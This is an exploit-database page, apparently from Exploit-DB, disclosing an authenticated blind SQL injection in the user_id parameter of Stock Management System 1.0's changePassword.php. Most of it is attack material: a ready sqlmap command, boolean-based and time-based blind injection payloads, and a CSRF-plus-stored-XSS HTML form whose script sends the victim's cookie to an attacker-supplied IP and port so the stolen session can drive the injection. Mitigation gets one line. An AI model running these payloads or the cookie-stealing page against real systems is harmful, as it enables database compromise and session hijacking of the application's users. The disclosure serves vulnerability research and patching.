Stock Management System 1.0 - 'user_id' Blind SQL injection (Authenticated)

vendor:

Stock Management System

by:

Riadh Benlamine (rbn0x00)

CVSS

HIGH

SQL Injection

CWE

Product Name: Stock Management System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:stock_management_system:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apache2+MariaDB

2021

Stock Management System 1.0 – ‘user_id’ Blind SQL injection (Authenticated)

Stock Management System suffers from SQL injection in '/stock/php_action/changePassword.php' because it does not sanitize the input before pushing into the sql query. Leading to remote code execution. Vulnerable parameter: user_id=<injection point> SQLmap command: sqlmap -u http://<target_host>/stock/php_action/changePassword.php --data="password=invalidpassword&npassword=test&cpassword=test&user_id=1*" --cookie="PHPSESSID=<your cookie>" --is-dba Trick: We could steal the users cookie by chaining CSRF and stored XSS and then use the cookie to prefill the user_id parameter in the SQL injection.

Mitigation:

Input validation and sanitization should be done before pushing into the sql query.

Source

Exploit-DB raw data:

# Exploit Title: Stock Management System 1.0 - 'user_id' Blind SQL injection (Authenticated)
# Date: 11/06/2021
# Exploit Author: Riadh Benlamine (rbn0x00)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link:   https://www.sourcecodester.com/sites/default/files/download/Warren%20Daloyan/stock.zip
# Version: 1.0
# Category: Webapps
# Tested on: Apache2+MariaDB latest version
# Description :  Stock Management System suffers from SQL injection in '/stock/php_action/changePassword.php' because it does not sanitize the input before pushing into the sql query. Leading to remote code execution.

- Vulnerable parameter: user_id=<injection point>
SQLmap command:
--------------

sqlmap -u http://<target_host>/stock/php_action/changePassword.php --data="password=invalidpassword&npassword=test&cpassword=test&user_id=1*" --cookie="PHPSESSID=<your cookie>" --is-dba

SQLmap Output:
-------------

Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: password=invalidpassword&npassword=test&cpassword=test&user_id=(SELECT (CASE WHEN (7792=7792) THEN 1 ELSE (SELECT 5315 UNION SELECT 6564) END))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: password=invalidpassword&npassword=test&cpassword=test&user_id=1 AND (SELECT 8344 FROM (SELECT(SLEEP(5)))RdSH)

Trick:
-----
We could steal the users cookie by chaining CSRF and stored XSS
<html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://<YOUR_TARGET>/stock/php_action/changeUsername.php" method="POST">

      <input type="hidden" name="username" value=""><script> alert(document.cookie); var i=new Image; i.src="http://<YOUR_IP>:<YOUR_PORT>/?"+document.cookie; </script>" />

      <input type="hidden" name="user&#95;id" value="1" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

and then use the cookie to preform SQL injection :)